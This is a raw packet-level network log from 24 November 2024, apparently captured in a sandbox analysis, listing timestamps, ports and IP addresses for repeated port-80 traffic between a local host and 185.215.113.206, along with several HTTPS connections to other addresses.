Nov 24, 2024 23:24:39.212913990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.213562965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.213619947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.213677883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.213726997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.214354038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.214412928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.214456081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.214500904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.215219975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.215267897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.215826988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.215883970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.215986013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.216085911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.216087103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.216126919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.216824055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.216921091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.217003107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.217046976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.217556953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.217607021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.217664003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.217734098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.218384981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.218497992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.218542099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.218681097 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.218712091 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.218780994 CET	49832	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.218792915 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.219187021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.219244003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.219280005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.219336987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.220017910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.220098019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.220099926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.220140934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.220422029 CET	49832	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.220463037 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.220619917 CET	49832	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.220808983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.220858097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.220896006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.220949888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.238178015 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.241311073 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.241368055 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.241367102 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.241419077 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.241750956 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.241765976 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.299916983 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.300096035 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.300174952 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.300427914 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.300427914 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.300463915 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.300487995 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.303508997 CET	49852	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.303558111 CET	443	49852	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.303720951 CET	49852	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.303860903 CET	49852	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.303877115 CET	443	49852	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.304223061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.304290056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.304296017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.304341078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.304573059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.304671049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.304724932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.304775000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.305381060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.305486917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.305548906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.306221008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.306607008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.359056950 CET	49853	443	192.168.2.5	20.110.205.119
Nov 24, 2024 23:24:39.359093904 CET	443	49853	20.110.205.119	192.168.2.5
Nov 24, 2024 23:24:39.359158993 CET	49853	443	192.168.2.5	20.110.205.119
Nov 24, 2024 23:24:39.359405994 CET	49853	443	192.168.2.5	20.110.205.119
Nov 24, 2024 23:24:39.359421015 CET	443	49853	20.110.205.119	192.168.2.5
Nov 24, 2024 23:24:39.382782936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.382796049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.382857084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.383023977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.383080006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.383102894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.383172035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.383846045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.383903980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.383936882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.383982897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.384682894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.384731054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.384779930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.385473013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.385520935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.385538101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.385586023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.386245966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.386292934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.386347055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.386389971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.387051105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.387101889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.387145042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.387183905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.387866974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.387980938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.388031960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.388705969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.388850927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.388885975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.388930082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.389537096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.389667034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.389718056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.390291929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.390372992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.390409946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.390454054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.391218901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.391232967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.391282082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.391928911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.391983032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.392041922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.392147064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.392735004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.392786026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.392827988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.392916918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.393538952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.393709898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.393743992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.393760920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.394345045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.394448042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.394454002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.394489050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.395159960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.395207882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.395247936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.395322084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.395983934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.396042109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.396075964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.396120071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.396790981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.396856070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.396889925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.396933079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.397598982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.397655964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.397712946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.397924900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.398416996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.398493052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.398540974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.399189949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.399247885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.399288893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.399442911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.400046110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.400058985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.400114059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.400131941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.400839090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.400918961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.400959015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.401207924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.401627064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.401679993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.401695967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.401741982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.402472973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.402611971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.402653933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.402700901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.403259993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.403325081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.403358936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.403403044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.404058933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.404124022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.404166937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.404217958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.404890060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.404944897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.405005932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.405098915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.405687094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.405700922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.405738115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.405761957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.406533003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.406586885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.406634092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.406709909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.407290936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.407398939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.407449961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.408107996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.408164978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.408198118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.408246040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.408915997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.408967018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.409023046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.409066916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.409727097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.409780979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.409835100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.409879923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.410564899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.410625935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.410657883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.411159992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.411514997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.411528111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.411557913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.411581039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.412141085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.412199974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.412309885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.412353992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.412964106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.413074970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.413104057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.413207054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.413851023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.413925886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.413959980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.414088964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.414613008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.414707899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.414752960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.415411949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.415469885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.415519953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.415560961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.416213989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.416332960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.416393995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.417037964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.417160034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.417196035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.417289019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.417831898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.417915106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.417959929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.418006897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.418792963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.418909073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.418939114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.418961048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.419481993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.419555902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.419598103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.420296907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.420355082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.420399904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.420449018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.421097040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.421155930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.421200037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.421250105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.421900034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.421983004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.421999931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.422045946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.422662973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.422709942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.450288057 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.450333118 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.450381041 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.450392962 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.450602055 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.450660944 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.459022999 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.459034920 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.471345901 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.471406937 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.471787930 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.499629974 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.499649048 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.499658108 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.499664068 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.505422115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.505480051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.505497932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.505616903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.505840063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.505888939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.505918026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.505986929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.506596088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.506649017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.506715059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.506824970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.507462025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.507517099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.588160038 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.588243008 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.588300943 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.589113951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.589179039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.589247942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.589294910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.589350939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.589396000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.589462996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.589504004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.590163946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.590272903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.590327024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.591008902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.591034889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.591074944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.591785908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.591833115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.591873884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.591916084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.592627048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.592715979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.592720032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.592763901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.593399048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.593472004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.593513012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.593559980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.594221115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.594269991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.594336987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.594379902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.595058918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.595138073 CET	49760	80	192.168.2.5	185.215.113.206
